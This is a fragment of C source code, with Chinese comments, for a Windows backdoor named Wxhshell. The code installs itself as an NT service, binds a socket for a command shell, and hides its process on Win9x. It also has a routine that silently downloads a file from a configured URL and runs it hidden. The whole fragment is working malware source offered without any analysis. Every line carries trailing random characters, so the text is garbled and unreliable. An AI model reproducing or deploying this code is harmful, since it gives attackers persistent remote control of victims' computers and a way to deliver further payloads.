ULONG InheritedFromUniqueProcessId; hK
Fk$A
} PROCESS_BASIC_INFORMATION; bAN 10U
E2h(w_l
PROCNTQSIP NtQueryInformationProcess; y2U/$%B)G
Fs?( UM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p@vpd
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " 98/HzR
zMbfV%b
HANDLE hProcess; UP}feN
PROCESS_BASIC_INFORMATION pbi; 3(MoXA*
>ze>Xr'm5=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BHEs+e0
if(NULL == hInst ) return 0; xT:qe
;&RUE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pi|\0lH6W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]gb _Nv
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +8]W\<Kp
}*0,>w>
if (!NtQueryInformationProcess) return 0; )gr}<}X)B
,;9ak-$8p
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m"5{D*|
if(!hProcess) return 0; lQ+Ru8I
,m2A
p\l
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >s;oOo+5
@P*ylB}?Q
CloseHandle(hProcess); W^^K0yn`@
DxE(9j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lt }r}HM+
if(hProcess==NULL) return 0; -b@v0%Q2M*
E7V38Z
HMODULE hMod; MomLda
V9Q
char procName[255]; _TtX`b_Z
unsigned long cbNeeded; R
4 DM_u
3X,]=f@_
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TFAYVK~
5T~3$kuO
CloseHandle(hProcess); kJHr&=VO~
d-9uv|SJ
if(strstr(procName,"services")) return 1; // 以服务启动 Tm(Q@
_Syre6k
return 0; // 注册表启动 K%98;e9
} pGO|~:E/L
eV"d v*R
// 主模块 l R:Ok8e
int StartWxhshell(LPSTR lpCmdLine) t.3Ct@wK
{ s]$HkSH
SOCKET wsl; ev~dsk6k
BOOL val=TRUE;
m"96:v
int port=0; $Sp*)A]E`
struct sockaddr_in door; I8%d;G~
N!tpzHXw
if(wscfg.ws_autoins) Install(); jjJc1 p0
$KoPGgC[
port=atoi(lpCmdLine); lc\>DH\n6
mgmWDtxN
if(port<=0) port=wscfg.ws_port; Ah6wU|_-g
s/r5,IFR
WSADATA data; ;b, -$A
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'CP/ym f/a
mle_*Gy8
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r^?)F?n!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aR`_h=a
door.sin_family = AF_INET;
EJWOXxU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); v[0DE*p
door.sin_port = htons(port); E"Ya-8d=
kWzuz#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jlYD~)
closesocket(wsl); FZ[@])B
return 1; X=rc3~}f
} '"!z$i~G=
`,F&y{A
if(listen(wsl,2) == INVALID_SOCKET) { u5xU)l3
closesocket(wsl); >wz;}9v
return 1; y#hga5
} <;2P._oZ
Wxhshell(wsl); $sA,$x:^xI
WSACleanup(); 4M;sD;3
tQNk=}VR7r
return 0; Tns?mQ
@rnp- +kq
} jxRF" GD
8@Egy%_
// 以NT服务方式启动 /#S4espE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W&fW5af9
{ @4 zi]v
DWORD status = 0; I-RdAVB/Ep
DWORD specificError = 0xfffffff; D6&mf2'u
pFpQ\xc9$
serviceStatus.dwServiceType = SERVICE_WIN32; kx"hWG4
serviceStatus.dwCurrentState = SERVICE_START_PENDING; "#mXsp-ut
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jngll
serviceStatus.dwWin32ExitCode = 0; D8r>a"gx
serviceStatus.dwServiceSpecificExitCode = 0; P<j4\zJ
serviceStatus.dwCheckPoint = 0; &{-oA_@
serviceStatus.dwWaitHint = 0; M/::`yJQu
Hs:4I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C m,*bgX
if (hServiceStatusHandle==0) return; ltCwns
*G%1_
status = GetLastError(); !Z<mrr;T@
if (status!=NO_ERROR) X_lUD?y
{ O,F]\
serviceStatus.dwCurrentState = SERVICE_STOPPED; { ()p%#*
serviceStatus.dwCheckPoint = 0; t,--V|7-
serviceStatus.dwWaitHint = 0; D..{|29,:
serviceStatus.dwWin32ExitCode = status; c,#~L7
serviceStatus.dwServiceSpecificExitCode = specificError; J~_L4*Jw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nUI63?
return; t*Z .e.q+
} 9%p7B ~}E
_aXP
;kFMi
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?D*Hl+iu
serviceStatus.dwCheckPoint = 0; ?$"x^=te7
serviceStatus.dwWaitHint = 0; T..N*6<X
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y1,?ZWTayr
} fP^W"y
,wwU`
U
// 处理NT服务事件,比如:启动、停止 f7EIDFX>pt
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2.fyP"P
L
{ aJuj7y-
switch(fdwControl) <3SFP3^:
{ 2 pM
case SERVICE_CONTROL_STOP: U~u6}s]:
serviceStatus.dwWin32ExitCode = 0; dCf'\@<<
serviceStatus.dwCurrentState = SERVICE_STOPPED; Bo](n*i
serviceStatus.dwCheckPoint = 0; p`E|SNt/W
serviceStatus.dwWaitHint = 0; i#pjv'C
{ Mr5('9%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WL
IDw@fv
} bm|Jb"T0b
return; Nt`F0
9S
case SERVICE_CONTROL_PAUSE: Z/V`Z* fy
serviceStatus.dwCurrentState = SERVICE_PAUSED; UA69_E{JCH
break; )#b}qc#`
case SERVICE_CONTROL_CONTINUE: mJ6t.%'d
serviceStatus.dwCurrentState = SERVICE_RUNNING; PTuCN
break; N3XVT{yo
case SERVICE_CONTROL_INTERROGATE: S7?f5ux
break; O+(. 29
}; fd!pM4"0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~.PPf/
Z8]
} !L0E03')k
}<5\O*kX4
// 标准应用程序主函数 b:}wR*Adc
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bik] JIM
{ M(.uu`B
)[y!m9Vn
// 获取操作系统版本 )H[h53bIq
OsIsNt=GetOsVer(); 5@R15q@c6n
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~_dBND?
K]H"qG.K
// 从命令行安装 z. _C*c
if(strpbrk(lpCmdLine,"iI")) Install(); ?{@!!te@3v
i#@ v_^ q
// 下载执行文件 gqO%^b)6
if(wscfg.ws_downexe) { b.mjQ
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TRr4`y%
WinExec(wscfg.ws_filenam,SW_HIDE); eLDL "L
} J[&
7,}
N8DiEB3~
if(!OsIsNt) { {Gk}3u/
// 如果时win9x,隐藏进程并且设置为注册表启动 uNPD~TYN
HideProc(); $+!}Vtb
StartWxhshell(lpCmdLine); &;NNUT>Q
} d!}jdt5%
else xVHQ[I%
if(StartFromService()) fJF8/IQ4
// 以服务方式启动 V\k5h
StartServiceCtrlDispatcher(DispatchTable); 7)8rc(58
else np'M4^E;
// 普通方式启动 w{YtTZp3
StartWxhshell(lpCmdLine); JL]k:i^`A
7N} \1Di5
return 0; q^jqLT&w
}